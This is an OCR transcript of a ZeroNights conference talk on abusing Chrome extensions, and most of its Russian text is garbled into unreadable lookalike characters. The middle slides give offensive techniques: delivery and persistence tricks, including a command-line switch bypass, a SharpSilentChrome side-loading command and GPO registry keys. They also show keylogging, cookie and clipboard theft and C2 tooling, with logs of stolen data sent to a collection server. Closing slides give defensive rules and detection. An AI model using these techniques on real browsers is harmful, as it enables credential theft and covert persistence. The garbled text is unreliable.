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[loueMy 3Ta TeMa
MHTEepecHa N aKTyaJibHa?



Google Chrome — cambliii NIGHTS

nonynsipHboin 6paysep

bpay3ep — rnaBHoe OKHO B LIGPOBON MU, e
COBpPEMEHHbIN paboyunmn cTon "'_Ii-"'?
CornacHo aHanutuke* pons Google Chrome — 66 % *

[ons pbiHKa caMmblX NONyaAapHbIX bpay3epos - TpeHA 3a 12
Mecsaues

90%0

Bcex nosib30BaTeNbCKUX
NEUCTBUN B UHTEPHETE
— yepes3 6paysep

* https://www.similarweb.com/ru/browsers/



Chrome == Chromium NIGHTS

Chrome pacwmpenus pabotatoT B gpyrnx Chromium-6pay3epax
(80% pbiHKa 6pay3epoB Ha H6a3e 3Toro ABMXKA)

& 2% support.microsoft.com/ru-ru/microsoft-edge/aobaenenmne-oTkaloueHne-u-yaaneHe-paclumpeHmnii-g-microsoft-e... ¥

LobaenenHne paclumpennd B Microsoft Edge 13 nHtepHer-
MarasnHa Chrome

PaclwmpeHus, npeaHasHaueHHble ansa Google Chrome, Takxke MoxHo ncnonb3osats B Microsoft Edge.

1. B Microsoft Edge nepenante B nHtepHet-marasvH Chrome.

. Bbl6eF)l-'1Te Paspemmb paclwnpeHna M3 Apyrux mMmarasmHOB B 3aro/loBke B BBP)’(HEI:I 4acTu CTpaHUUbl, a
3arem BbIGEpMTE PE3F|ELIJVITI:, yTObbI noaTBepanTb.

3. Bbibepute pacwwupeHue, koTopoe Tpebyerca gobasuts, v Haxxmute [lobasuts B Chrome.

4. an OTO6pa)KEHI'1M 3anpoca co CNMCKom pa3pemem—1t}'1'_, HEOﬁXOﬂL’!I‘\.’IbI}{ paclWMpeHO, BHUMaTENBHO
M3YHKUTE WX 1, yTobhI NPOAOMXKNTE, HAaXKMWNTE KHOMKY AOGEBMTb pacllupeHue.

. MNosBuTCAa NnocneaHWI 3anNpoc, NoOATBEPXKAAOLWMIA JobaBNeHWe pacluMpeHus.




PaclumpeHus — Besge u Bcloay NIGHTS
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Chrome API

Ob6LWmnpHas JOKyMeHTauus
ynpasneHua bpaysepom

chrome.exe

BpenoHOCHbIN TpaduK nerko
npAYeTca B IErMTUMHOM npouecce

UHTepecC ANa aTaKyroLwmx

Cross-platform

PaclwimMpeHmne ycTaHaBANBAETCA Ha
nobyro OC (Windows, macQOS,
UNIX)

Persistence

YcTaHOBNEHHOE pacwnpeHme
UBET nocne nepesarpysku MK

JavaScript

MpoCcTO N MOLWWHO ANA HAaNUCaHUA
BpeaoHocHoro N0

AV/EDR

Cnabo AeTeKTUPYIOT BPEeAOHOCHbIE
pacLlMpeHns

ZERC
MIGHTS



Kn6epuHunaeHTbl NIGHTS

¥ CtabunbHbIV POCT aTakK, HOBOCTHbIE 3arofl0BKM
¥ TexHukn Bce bonee onacHble U U30LLPEHHbIE e S
¥ MITRE ATT&CK — Browser Extensions Technique

Matrices ¥  Tactics ~  Techniques ~  Defenses ~ CTl ~ Resources ~  Benefactors Blog (2 oxasanuet

MITRE | ATT&CK' @

TEFCH D
I Cu

Enterprise

Software Extensions: Browser Extensions

Reconnaissance

Resource Other sub-techniques of Software Extensions (2) ID: T1
Development

76.001

Sub-technique of:

Adversaries may abuse internet browser extensions to establish persistent

cnonsayer paclwwpenus Chrome ans

cos

Initial Access i) Tactic; Per

Execution Y c functionality to and ze 0 terr Thev can be Platforms: Linux, Windows

macQOS

Persistence nstalled directly via a local file or custon

Account an official online platform where users cz se, ins e Version: 1.0

extensions for a specific w Extensions generally inherit the web Created: 30 March 2025
Manipulation C

ously granted o 16 April 2025
BITS Jobs Y gran Last Modified pril ;

Boot or Logon Malicious extensions can be installed into a browser through malicious app store e v .:::

Autostart asquerading as cial engineering,
Execution or by an adversary that has already compromised a system. Security can be




AHATOMUS
CHROME EXTENSION

KaK yCTpoeHbl pacluiMpeHns noa Karnotom?

}

ZERCONIGHTS



F'ae 3T BawuM pacluMpeHus B A
6pay3epe?!

chrome://extensions ... .o moomms
browser:/ /extensions "




PaclumpeHue Ha ¢banioBOU cucteMme

Ha aucke:

$LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions

Windows (C:)

Monszoeateny a.tsetserskii » AppData

aapocclcgogkmnckokdopfmhonfmgoek
aohghmighlieiainnegkcijnfilokake
apdflickaahabafndbhieahigkjlhalf
blpcfgokakmagnkcojhhkbfbldkacnbeo
felcaaldnbdncclmgdcncolpebgigjap
gcknhkkoolaabfminjonogaaifnjifnp
ghbmnnjooekpmaoecnnnilnnbdlolhkhi
gppongmhjkpfnbhagpmjfkannfollamg
nmmhkkegccagdldgiimedpiccmgmieda
nngceckbapebfimnlniiiahkandclblb
ofaokhiedipichpaobibbnahnkdoiiah

pjkljhegncpnkpknbcohdijeoejaedia

Local

Google

Chrome

User Data

CtpykTypa Bitwarden paclumpeHus
(NaponbHbIN MEHeOXXep)

Default

Extensions

ZERC
MIGHTS
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N3 yero coCctouT paclumpeHue?

‘ Inside of Chrome

Outside of Chrome

ul __badge Background
Toolbar button | &= Popup wun?ow
[

JavaScript

A
HTML

CsSs

Option window

JavaScript [ Background SCI’lpt

HTML y Service_worker |
(JavaScript) |

css
1 s

Web page
Contents Script

External API

’ External AP!
3

JavaScript

Chrome Data

Context menu

Notification

ZERC
MIGHTS




N3 yero cocTomT paclumpeHune? OcHoBHoe! NIGHTS

Inside of Chrome Outside of Chrome

Extension Data

Something
BLA-BLA-BLA
for pretty
Ul
(button, icon,
menu, popup)

Contents Script
JS

CSS

Background
Script

Service

Worker (JS)

Remote hosts
Attacker Hosts

Chrome Data
cookie

history

bookmark

14



Offensive-like Permissions HIGHTS

tabs J10CTyn K aKTUBHbIM BK1a[IKaM
history [docTtyn K uctopum bpaysepa
cookies 3anpoc U U3MEeHEHNe KyKu
XpaHeHne 1 N3MeHeHne Nnonb30BaTENbCKUX
storage
AaHHbIX
_ [ocTyn K AaHHbIM Bydepa
clipboard
obmeHa (4YTeHue, 3annchb)
Seig[o]u]qle] BHepnpeHue JS,CSS B cTpaHuuy
alarms Mepuoanyecknii 3anyck Koaa
MHAaMUYECKNA nepexBaT/noaMeHa
webRequest A P /noa
CeTeBoro 3arnpoca
: bnokupoBka/PegnpeKkT ceTeBoro 3anpoca
declarativeNetRequest P /Pennp P
6e3 nepexsaTa
proxy KoHdurypauust npokcn 6pay3epa

i

15



http://*/*
https://*/*
http://*/*

MexaHun3M 06HOBJ1IEHUA paCLUUPEHUMN

PaHbLUe MOXHO 6b110 06HOBNATL Yepe3 NPon3BOJibHbIA URL. "

Tenepb Tonbko Yepe3 Chrome Web Store
O6HOBNEHNS NPOMCXOAAT aBTOMATUYECKU NPU HaTNYNN:
* update url Bmanifest.json

* Tpu nybnunkauum Hoson Bepcun B Chrome Web Store

Kak cneacreue, 3TOT MEXaHU3M NMOPOXAAET BApPUAHT aTaKu

®uwmHr Google- YcnewHoe peBbilo
AKKayHTOB Google-om

ZERCD®
MIGHTS

ZERC
MIGHTS

Mounck AobaBneHune O6HOBNEHne
pa3paboTunkoB BP€AOHOCHOIo koaa pacLuMpeHus

N aTaKa
16



EXTENSIONS DELIVERY

[locTaBka BpeOHOCHbIX pacLUMPEHUN XKEePTBE

ACKERS
ZERCONMIGHTS SRR 3 ZERCONIGHTS 2 H



BapuaHTbl 4OCTaBKM NIGHTS

* Working:
» PyuHas ycraHoBka B GUI 6pay3epa I | I I | I I | I
» Supply Chain: koMnpoMeTaums paspaboTumka 1 BHeagpeHne Koaa EFS
» MNybnukaumsa B Chrome Web Store (cobcTBeHHOE paclumpeHme)

» GPO-pa3BépTbiBaHMe (Ha 3Tane Post-Compromise)
» [MoameHa LNK Chrome un pa3melleHme paclumpeHunst Ha AncKe

» Extension Side-loading (Stealth-cnocob)

® Not working:

» YCTaHOBKa 3anakoBaHHOro pacwmpeHmnsa CRX

18



PyuyHas ycraHoBka & Social Engineering NIGHTS

"=
1 YcTaHoBka Bpy4Hyto B GUI 6pay3epa (chrome://extensions -> Load Unpacked Extension)
ol ol

& C & Chrome chrome://extensions

W

€ Pacwmpenns /

3arpy3MTb pacnakoBaHHOE pacllnpeHne YnakoBaTtb pacwmpeHne ObHOBUTL

£} Mou paclumpeHus

BbicTpble knaBuwn

HKepTBa

19



ZERC

«Supply Chain» NIGHTS

3arpy3ka B Chrome Web Store 1 nocreneHHoe obHOBNeHME BpeAOHOCHbIM (PYHKLIMOHATOM

h- JInbo KomMnpomeTupyeM paspabotumnka h- JInbo camu perncTpupyemcst Kak paspaboTymk
(HO nnaTtumMm $5)

&« C 5 dvomegoogle compwebetone deveonsole egiste =y 1 KA

@ Cookie Editor

& Chrome Web Store Deve

PerucTpauus akkayHTa

O
Havano paboru

_4

NpHsKTE YCROBMA COMMALLIONNR C ONNaTHTe PErncCTPAMMOMNbIR chop (5

NMoppobHocTH

paspadoTKoM M MonmrrKy Aonnapos CLUA)

KONPUACHUMINBIOCTH ' ( ADOBAT ) P 5

Bepcun PaspaboTynk

1.0.2.3

O6xoBsnexo

20



YcTtaHoBKa u3 CRX NIGHTS

CRX — 3anakoBaHHOe/CXXaToe paclunpeHme.

MoryT BO3HMKaTb OLIMOKM 13-3@ OTCYTCTBUS LM POBOM
noanucn Chrome Web Store:

— CRX REQUIRED PROOF MISSING YraKkoBaTb paclimpeHmne
- CRX HEADER INVALID

BoibepuTe KOpHEBOW KaTanor ynakoBLIBAEMOro paclunpenus. [lns obHosneHus
PaciiMpPEeHns TaKKe YKaXWUTe 3aKPbIThbii KIHOU.

KopHeBo# karanor paciiMpeHus
W N Pacwwperus X B Wappalyzer - Technology profi X & Hosaa
Beibpatb
c (e
®aiin cekpeTHoro ka4a (HeobazarensHo)
- Bbi6
MNakert HegencTeuTeneH: "CRX_REQUIRED_PROOF_MISSING". ° e

OrmeHa Ynakosars paclumpenue

21



GPO Installation SIGHTS

GPO (rpynnoBble€ NOMUTUKK) — YCTAHOBKA paCLUMPEHUS AN BCEX
nosb30BaTeNnen B JOMeHe:

Knrou peecrpa:
HKEY LOCAL MACHINE\SOFTWARE\Policies\Google
\Chrome\ExtensionInstallForcelist

Henb3a pacnakoBaHHOE pacluMpeHune

+ PaboTtaet CRX He n3 Chrome WebStore

Client Client
C & Chrome chrome://extensions (§] ¥ PC D PC
= PacwwmpeHus ClFi’ecnt

B 3tvm 6paysepom ynpaenseT Bawa opraHusaums.

22



ZERC

LNK-cdann NIGHTS

ES

Google

NoameHa apnbika (.LNK) ans aBto-3anycka c «nogcyHyTbIM»
BPeAOHOCHbIM paclunpeHneM

KoMmaHaHaA cTpoka:

> chrome.exe --load-extension=/path/to/extension

LLlarun Bocnpou3BeneHun:
» PasmectuTb dannbl paclumpeHms Ha annoByo cUCTeMy

» lNogMeHsieM apnblk Google Chrome Ha apnblk
C BHEAPEHHbIM NapaMeTpoM --load-extension

» JKaéM 3anycka 6pay3epa OT XepTBbl

23



BAN LNK-meToa?!

[8860:12444:8617/162655. 846 : WARNING: chrome\browser\extensions\extension service.cc:483] --MeEREEVad-IsESTy

in Google Chrome, ignoring.

extension service.cc

commit
author Richard Chen <richch
committer Chromium LUCI CQ
tree 0412f83aaf

parent

dchromium.org>

ium-scoped@luci-

(diff

Remove load-extension’ switch on Chrome builds

Part of an on-going effort to reduce harm from the malicious

command-line extensions, this CL removes the exploited switch

only on Chrome builds.

ewed-by:
Commit-Queue: Rich

Reviewed-by: Anunoy Gh

Lin.cronin2chromium. o

eviewed-by: Justin Lulejian <jlulejian@chromium.org>

Cr-Commit-Position: refs/heads/main@{#1443013}

ZERC
MIGHTS

is not allowed

blame

24



A HeT, NoKa3asoch! NIGHTS

OTKIIoUaeM 3Ty e hudy C NOMOLLbIO NapaMeTpa:

"chrome.exe" —--disable-features=DisableloadExtensionCommandlLineSwitch
-—-load-extension="C:\Temp\my-extension"

‘——load-extension

25



Proof-Of-Concept NIGHTS




Extension Side-Loading

SharpSilentChrome —
yTUInNTa

¥ Moauduumpyem dannbl
6pay3epa (Secure
Preferences,
Preferences)

¥ MogcumntbiBaeM HMAC

¥ He ncnonbsyeM LNK ¢ --
load-extension

¥ He TpebyeTtcsa yyactue
NoJsIb30BaTeSS

N @3 %0300 0wt X N wor@daecpd x ' - o

slivoo
slivoo
slivoo
slivoo
slivoo
slivoo
slivoo
slivoo
slivoo
slivoo
slivoo > inline-execute-assembly /root/SharpSilentC
hrome.exe 'install /sid:S-1-5-21-3783789134~3776525684-4265856423-13
56 /profilepath:c:\users\low /path:C:\Users\Public\Downloads\extensi
on /browser:chrome’

VVVVVyVVVYVY

ZERC
MIGHTS

= Extensions

fiE v

1es in the Chrome Web Store

Wintown Server 2122 "deredartt Enbastion
Windaws Leerne wid e 14 dep
Bk 7T3AS te resewie I OO 1D

N | e

5 OPE9ONTH II~ Cd0 B o0 L

https.//github.com/ChoiSG/SharpSilentChrome

27



POST-EXPLOITATION

YTO e BCE-TaKM MOXET AeNnaTb aTaKyoLWnn?

RS
1s ¥» HACKE
ZERCONIGHTS B REQ 3y ZERCONIGH ,



Offensive Chrome Extensions Workshop

ZERC
MIGHTS

https://github.com/artemy-ccrsky/EvilChromeExtensions

& EvilChromeExtensions i 2 P | | @ ween
¥ main - ¥ 1iranch © 0 Tags Q Gotofil )| Addfile - <» Code =
G-l-my-rtnl’y 1kio Faterrcn MBETG ] davs 390 C0) 7 Comemite
IR browses -recun-est srtnacd felermire | thayn w0
B dpboed sesler e Eatey ' Layw g
B cockie extracion shaid) Extorsiony YN W
B hostspyware-duome boud Extor v Ly a0
B keypross catchon shas] Extevion Iy ay
B manin the beowser light ploxd Extenciony Ay aga
B sstem rocon ext k] Extenciony Livs 400
B b snancher loxd Exter v Ay 390
[ meADrAEmd sox] Extergiony b
D) reaDME 2 =

EvilChromeExtensions @

Educations! Chrome Extersions simulsting real-world sttacker behavior in the browser. Buill for Red Team demos,
adversary emulation, and threat simulation

& What is EvilChromeExtensions?

EvilChromeExtensions s a coliection of offensive Google Chrome extensions used to demonstrate

o B Post-exploitation persistonce in the browser

* B Crodantiol/session theft (via cookies, forms, clipboard)
o ¥ Ul maniputation

o B xXeylogging and exfiftration

- . 2 Sw i) -

About 1

Educational Cheame axtorssons
simulating real-world attacker behavior in
the browser. Bulll Toe Tled Team demos
threat emulation, and adversary

simulation scenanos,

Pockages
It ! 2z
Languages
~ e

® JwaScipt 07 % Pythen =1

S N IVI E
Suggested workf

o Dero Configum

9 SLSA Ganeric MR

generatar

ate SLEAY srowenans

PAS



System Recon Extension

C6op nHdoOpMaLUnn 0 CUCTEME U KOMMIEKTYIOWMX

AaHHbIe

OC v apxuTeKkTypa

API / MeTop

chrome.runtime.getPlatformInfo ()

NHdo o npoueccope

chrome.system.cpu.getInfo()

NHbO 0 B1aeokapTte

WebGL (WebGraphics Library)

[IMCKOBbIE YCTPONCTBA

chrome.system.memory.getInfo ()

Auncnnen

chrome.system.display.getInfo ()

bpay3epHas nnatdopma

navigator.platform

YacoBou nosc

Intl.DateTimeFormat () .resolvedOptions ()
.timeZone

HoyTbyk nn?
MNpoBepka 6aTapeun

Navigator.getBattery

ZERC
MIGHTS

79. - - - [e8/Aug/2025 12:53:43] "POST /system-recon HTTP/1.1" 200 -
=
[2025-08-08T09:53:43.406105] [system-recon] Received JSON:
{
"os": {

"arch": "x86-64",

"nacl_arch": "x86-64",

"os": "win"

}l
"cpuT: |
"archName": "x86_64",
"features": [
mmx",
“sse”,
“sse2” |}
*ssel3”,
*ssse3”,
"sse4_1",
“sse4 2",
Tavx”

1,
"modelName": "13th Gen Intel(R) Core(TM) i7-13700H",
"numofProcessors”: 8,

"processors™: [

"usage": {
"idle": 1211359375000,
"kernel”: 23227500000,
"total™: 1240157031250,
“user”: 5570156250

"goute |

“vendor®: “Google Inc. (Google)”,

“rendorer”: ANGLE (Google, vulkan 1.3.0 (SwiftShader Device (Subzerc) (0«0DQOCODE)), SwiftShader driver)®
).
“merory”: |

“availableCopacity”™: BGSI16L1T44,

“capacity®: 13018124288

13
“display®: [
{

“sctiveState™: “active®,
“avoilabledisplayZoowFactors®: [],
*bounds”: {

“height™: 999,

"left": o,

“top“: @,

“width®: 2047

“displayZocafactor®™: o,

“dpix®: 129,

“dpiv®: 120,
‘hasaAccelerometerSopport”: false,
*hasTouchSupport™: false,

"1d7: 12932001027,

30



Browser Recon Extension

C6op nHdOopMaunmn o0 bpaysepe 1 OKpy>KEHNN

AKTUBHbIE BKJIaAKU

chrome.tabs.query()

NcTopust 6pay3epa

chrome.history.search()

3aKnagku

chrome.bookmarks

User-Agent

navigator.userAgent

Storage
(nonb3oBaTesnibCKne AaHHbIE)

chrome.storage

bpay3epHas nnatdopmMa 1 Bepcus

navigator.platform

NHPOo o0 npokcn

chrome.proxy.settings

bydep obMeHa

navigator.clipboard

YCTaHOBNEHHbIE pacCLLUMPEHMS

chrome.management

79. 58
*c

.02 - - [08/Aug/2025 13:106:51) "POST /browser-recon MTTP/1.1" 200 -

[2025-08-08T10:16:51.596159] [system-recon] Received JSON:
{

“"tabs®: [

{

}
1,

"1d": 432784190,

*url®: “chrome: //extensions/",
"title™: "Pacumpewws”,
Tactive”: true,

*pinned*: false,

“windowId": 432784189

"id": 432784250,

“url®: “https://wws.angarasecurity.ru/",

“title®: "Angara Security: Kpynwehuud nocrasumk WE pewenwd & PO",
*active®: false,

“pinned®: false,

"windowId": 432784189

*1d": 432784257,

‘url™: *hteps://github.com/*,
“title”: "GitHub™,

Tactive®: false,

“pinned*: false,

“windowId”: 432784189

*id": 432784288,

“url™: “chrome://newtab/",
“title”: "Hoeasm sxnagka”,
‘active®: false,

*pinned: false,
“windowId®: 432784189

“history™; [
{

*url”: “https://github.com/",
*title”: "GitHub",

"lastvisitTime": 1754647333137.058,
*visitCount": 23

“url”: “https://ww.angarasecurity.ru/",
"title": "Angara Security: Kpynwehuwit nocrasumx W6 pesionwd o PE",
*lastvisitTime": 1754647196931.221.

ZERC
MIGHTS
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Man-In-The-Browser Light NIGHTS

NMoaMmeHsieM cogepxumoe B HTML € nOMOLWbIO content . js

v M Pocumpenni X + = 0 X
€ O @ cChome chrome//extensions a 1 0 ®
@ Pacw"peﬂnﬂ Q Nomck no pacumpenmnm Pexwum paspaborunka @
3arpyauTh PacnaKoBannoe paclnpenme Ynakosats pacumpenmne ObuonuTs »

»

D Mou pacimnpenmn

) BuicTpbie Krasum

Text replacer 1.0
But coapaere paclumpennn?
Cheaure 3a HOROCTRMMW B

AOKYMEHTAUMK AN
paszpaborunkos pacwupenmii

Chrome Ha crpanuue Yo

e Waentudurarop: enaglbdpcofhinnfjlejakckanpijj...

Bce pacwupenuns

Ceegenmnn Yaanurs
Ewé Gonswe pacwmpennin i AN c ©

. M TEM MOXHO HalnTH B
G
MHTERHET-MAraanHe

Chrome > Wappalyzer - Technology profiler 6.10.85

Identify web technologies

Waentwdmukarop: gppongmhijkpnbhagpmijfkann... v 32



Tab Snatcher NIGHTS

CKpPUHLLOTUM BK/1aAKM Nob30BaTeNs n 3abmpaem DOM-cTpaHuLbl

NemPo[l]- | m O giuimanidy 8 01N |8 © @ v & x Qurne x Wwor x @www x 5w x ey x Wmen x4 - 1 *
J R L) Q
Y - ] ~fucniptdegy # T - o fen -t ¥ & 4 0 5 guoglecom/warch!gesmesesc e sonmauniisen mvecaldodetel tofbc ibudm - 2idw= 02480k 702 @ o n) . i
I-ls/ehromn-ext | [ | » =

pythond 1 flask-tab-sanatchor-sarver.py
& Serving Flask app ' Flask-tab-snatcher-server'
* Dobug wode: off
WA T NC This 55 & Ouywlopment setver. DO nnt use 47 40 # prosuction dnploysent. Uds o iME Ao NRGT server instead
* Running on all addresses (0.0.0.0) i
& Running on http://127,0.0,1:0000
& Running on hetp://392, 188,98, 112 18080

T I L T e
e

]
o
W valtrg B omamona
8Os myviamx MoMon ¢ sot Mouw ¢ naramm 2026 owe

L an
s

PRacOpammamn Moy T D0t J00UBIIINAS SETTDOMW

(L LR lw' :

>

B el | DR 0 T Ml - Ve < Ompassri. (=} m

Miaent it oty sModu C x. MEMW G KOTRAMM, KOTODMS 1., Nanynpiss vew

r

i ¢ TR
O Kat W3 Cropomd

Monni € £OTiNaM

B owrmnnm 0 iy 'N;fl
Mot ¢ sotamie 20250 6. Mewkd & ooTimami | Korau nporwi oTpeccs mev .
(OKM3HL - 970 BLI20B TR fame ARG O OMWREDYTC -

B e e ’
= m - N9 oD Wik, O
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Cookie Extraction HIGHTS

ABTOpM3aLMSA Ha pecypc 6e3 nornHa n napons. Mepuoamnyeckunin 3anpoc akTyanbHbiXx Cookie

Nempo@E-| |- Cesonu|ao
3 rost@metricn: - Y -]

carsky@redteam: -flooksiwindows ®  root@metricsi = X corsky@redieam ~/Videos X

root@metrics:~/chrome-extension# python3.10 flask-http.py 7] Asvictparop: CAWIndows\system32\omd exe

: :;:"'“2,’:':” oo ) crosoft Windows [Version 10.0.19045.2965)

WARNING: This is a development server. Do not use it in » production depl (c) Kopnopauwn MaRxpocodr (Microsoft Corporation). Bce nposa dammarin,

s Dot e ey G e sl el el et o o

* Running on http://127.0.0.1:8080
* Running on http://185.105.88.5:6080
Press CTRL«C to quit

2rpyihond . 10#

a m = LR Wi R =N el
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Dump DPAPI vs Chrome Extension NIGHTS

MU3Bneub macrep-
Knwou us DPAPI

= nrac}intnncmm CHRO m
= PACIIMPEHME H 3AEPATD KVKME

Oépratb 100500

PYHKUMIA n
CNanUTbCA...




ZERC

Simple Keylogger NIGHTS

BHeapeHune JS B 6pay3epe 1 oTnpaBKa HaXXaTuU Ha yaanEéHHbIN cepBep

root@metrics:~/chrome-extensionst python3.10 keylogger-timer-servero.py v B Extermors 4

* Serving Flask app 'keylogger-timer-servers’

* Debug mode: on . € O @ Owome o extensions o Q in} F 3
WARNIRG This 1 » devalopment server D¢ 0t uas it in 2 production deploysant Us A procuction WSGI sar

or instead

» funning on all addresses (0.0.0.0) & Extensions Q teans srwwssne

.

Running on http://127.0.0.1:8080
Running on http://185.105,88.5: 8080

L | Loael ey bl Fack anteriiee Uptate
Restarting with stat

Debugger is activel
* Debugger PIN: 247-509-389

.

0 Keyboard shortcuts Al Extensions
Drscovet more axsananng Kaylogaer Wi Tomer 210 Cociegittr | 114
B od Dames on the Clyome ‘ Y@ arighe yat oomertal Coshm Edtor Bat sbow oy
Yok Sos 1 (ol craane, w88 and delete coctas sethoe
Inaving prar tan
L L T TS S T T EE [ 1
Witec? vewy gerree mathel " e " i mabnan
Densly Seniowe S BN o] Ostaiy Rermave »
FonyPrmy %3 Proxy DwitctyOmegs § (TeoOmega) 547
‘ Edey 15 020 mivanond Prary Mesagesrset Wl fur gz MITOZe vl swit® betwern MaM izl Toerey

. unkly & sandy

1D posthkcota T goocgreis iy
M) rwws gecrce mathe w fmdfyed

Dty Saniove [ &) Uetws Rarmsve .
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Clipboard Stealer NIGHTS

o (@ ¥ %) 5 & ® ¢ Kném cpabatbiBaHus COPY
o s CODOBITUSA M OTMPABNSEM
® 6ydep obMeHa Ha
yAanéHHbIN cepBep.

NHTepecHOo B cny4yasax
G I MapoJsibHbIX MEHemKepe:
009 € Bitwarden, MaccBopk,
1Password, Google Password

R bl ranager T

o ) " - 9 ) ) v
Angara Secur... GitHub - Buil.., Avred Tedeqram Web Arpexc — O, Passwords Releases - lag. Sign in 1o Git.. https//yande..,
+
AoGaswrs ap.
7/ Hacrpowte Chiome
- $ 1709
a | 9 Q0o e 2

22082025
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Host Spyware by Chromium NIGHTS

3anyck ¢ @naroMm —-auto-select-desktop-capture-source=Entire
OTKpbIBAETCA pecypc ¢ npeasioXxeHmeM Sharing Screen -> ABTO-NpuMeHeHne -> OTnpaBka CKPUHLLOTOB Ha cepBep
N EmP Y2109 o4 & O0us| & 61

corsky@redteam: ~ftools/c2/Cllent % cersky(@redteam: ~/chrome-ext/spyware/screens X

~/chrome-ext/spyware A -~ | »
127.0.0.1:8¢] oogle-chro ! L tie httpt//localhost:80/index.html[]

~/chrome-ext/spyware/screens | |

~/chrome-ext/spyware/screens
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Proxy-over-Chrome. CursedChrome NIGHTS

YnanénHbin poctyn no WebSocket k 6pay3epy »xeptBbl B pexxume HTTP Proxy
(JocTyn K BHYTPEHHUM canTaM 13-3a NAT/koprnopaTuBHoON cetn 6e3 VPN).

B oimPp ot , DA . O dvmwme & 0BT |8 & B

/A
s O O ayhnteprence) f G D & A Funagoe - .
Victim Browser Victim Browser

. FronllDP W00 0 M

Websocket control
and proxying of HTTP
requests from proxy.

Crgwin toprotanagnn Actvs Dinctery (Micruenfl) — plansteizines CA e

fobpo namanvears

CursedChrome
Server

Heb admin panc»

Multiprocess, horizontally

HTTP proxy
« to victim's é scalable server.

BoiSepure wymmoe gencTene

browser

Fast cache to decrease DB load
and to decouple message routing.

=

Postgres

Store bot and account data

Local Network (On Host)
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C&C Extension. RedExt SIGHTS

YnpaBneHue 6pay3epoM yepes yaaneHHbI KOMaHOHbIM cepBep
DYyHKUUM:
¥ M3BnedeHune ncropum 6paysepa, DOM aKTUBHbIX BKIAA0K

¥ CKPUHLLOTTUHI CTpaHuU, System-pa3Beaka
¥ [NepexBaTt Cookie

a 4 ‘ 3 2.3GB

Recent Activity Quick Actions
- Cookies Manage Agents
8 Enumeration Task M

& History

o Take_screenshot
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ZERC

C&C Extension. Native App MIGHTS

YnpaeneHnue OC c ucnono3osaHnem Native Messaging Host
¥ Native Host obuiaetcsa ¢ pacliumpermnem, ncnonbdys JISON

¥ B paclumpeHmnn Metog — chrome.runtime.connectNative ("com.example.nativehost")

¥ Perucrpauusa B peectpe
HKEY CURRENT USER\Software\Google\Chrome\NativeMessagingHosts\<uma>.Jjson

GF ":v —ew |
L) |
R

Native App
Execution

Step 5

Attacker Extension
* https.//github.comy/efchatz/Covert-C2
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C&C Extension. ChromeAlone SIGHTS

Target Machine Target Network

AreHT Ha 6a3e Chrome Extension +
Isolated Web App

npeactasneH Ha DEF CON B 2025%*
[Toka 3aBs3aH Ha AWS

DYHKUNMN:

¥ SOCKS TCP Proxy

¥ Kpaxa Cookie + naponen

¥ 3anyck EXE Ha xocTe (native
messaging)

¥ [locTaeT A0 pmn3n4ecKmnx TOKEHOB

¥ YcrtonumBo k EDR (noka uTo)

* - https.//qithub.com/praetorian-inc/ChromeAlone
** - Michael Weber - ChromeAlone - Transforming a Browser into a C2
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DEFENSE

KaK 3aWunLaTbCa OT BCEro 3toro?

ZERCOOMIGHTS



PekoMeHAaL MM NO 3alluTe

* M36bITOYHbIE NpuBUAErMn y pacumpeHms (
« Ob6dycumMpoBaHHbIN koA y paclumpenns ( )

« MoHuTOpuTb MOoandUKaumm (Secure Preferences, Preferences),
caenaHHble
He chrome.exe

* MOHUTOPUTL peecTp:
HKCU\HKLM\SOFTWARE\Google\Chrome\NativeMessaging
Hosts\com.my company.my application

YecTtouyaem HacTpoku GPO:

HKEY LOCAL MACHINE\SOFTWARE\Policies\Google\Chrome

 3anpeT YyCTaHOBKM pPaclUMPEHU —
ExtensionInstallBlockList=<something>

« «benbi cnnucok» paclMpeHnn —

ExtensionInstallAllowList=<something> ‘/////////'

 3anpeTuUTb YCTAHOBKY PAacnakoBaHHbIX pacCLUMpPEHNIA

ZERC
MIGHTS

Error Loading Extension

Failed to load extension from
Ch\Users\dev\AppData\local\Google\Chrome\User
Data\Default\Extensions\nmmhkkegccagdidgiimedpiccmgmie
da\1.0.0.6_0. Loading of unpacked extensions is disabled by
the administrator
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Bopb6a Google c pacluMpeHUsIMM NIGHTS

AKTMBHblE KOMMUTbI B UCXOAHbIM KOA B pa3aene chrome/browser/extensions/*.c
Google Dork: malicious extensions chrome site:googlesource.com

© Google Open Source
http: romium.googlesource.com » ... - [NepeBecT 3Ty CTPaHWLY

e156¢cffbdc879607cad48817e63...

Remove "--extensions-on-chrome-urls™ switch from Chrome builds Part of an on-going effort to reduce
harm from the malicious extensions command-line switches ...

Google Open Source chromium / chromium / src / 290ed8046692651ce76088914750cb659b65fb17A! /. / chrome / browser / extensions /
® https://chromium.googlesource.com @ ... - [NepeBecTu 3Ty CTpaHu extension_service,cc
06bd8d4d66c477de2801b60044...

Remove “--disable-extensions-except’ switch on Chrome bi
harm from the malicious command-line extensions, this CL ...

commit 290ed8046692651ce76088914750cb659b65fb17 [log] [tgz]
author Richard Chen <richche@chromium.org> Sat Apr 05 00:58:56 2025
committer Chromium LUCI CQ <chromium-scoped@luci-project-accounts.iam.gserviceaccount.com>»Sat Apr 05 00:58:56 2025
tree 041: 3aafc88dddb7349086665b5ec45059a576

parent f2 S s 383db1fp5272e4d913 575c [diff] [blame]
» . - NepeBect 3Ty CTpaHW

1£17--- Remove “~--load-extension’ switch on Chrome builds

Remove "--load-extension” switch on Chrome builds Part of an

malicious command-line extensions. this CL removes the Part of an on-going effort to reduce harm from the malicious

command-line extensions, this CL removes the exploited switch
only on Chrome builds.
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SIEM Rules SIGHTS

VI MEI’OTCFI ny6n ML‘IHO sigma |e dov Proce freation / proc_creation_win_browsers_chromium_load_extension.yml i)
aoctynHole SIEM-npasuna. (2D github-sctions{bot) and nasbench Merge PR #5027 from @nasbench - Pro

HanpuMep, AeTeKT apryMeHTa
—-—load-extension

logsource:
category: process_creation
product: windows
detection:
selection:
Image |endswith:
- "\brave.exe'
- "\chrome.exe'
- "\msedge.exe'
- "\opera.exe'
- "\wivaldi.exe'
CommandLine|contains: '--load-extension="

condition: selection




OS Query NIGHTS

OS Query for Chrome Extensions anst aHannsa n MOHUTOPUHIa

OS Query Pack ansg MoHuTopuHra 6pay3epos

2% osquery.io/schema/5.15
Tables chrome_extensions

chrome_extensions

af packs

' browser-monitoring details

Inmerval (3) Query Last results Docs

21801 g . ¥ Is hrome_extensi ) 33 seconds ag 16960

2160¢C . N chroome_extensi ntent_scrip 21 seconds ag 244841

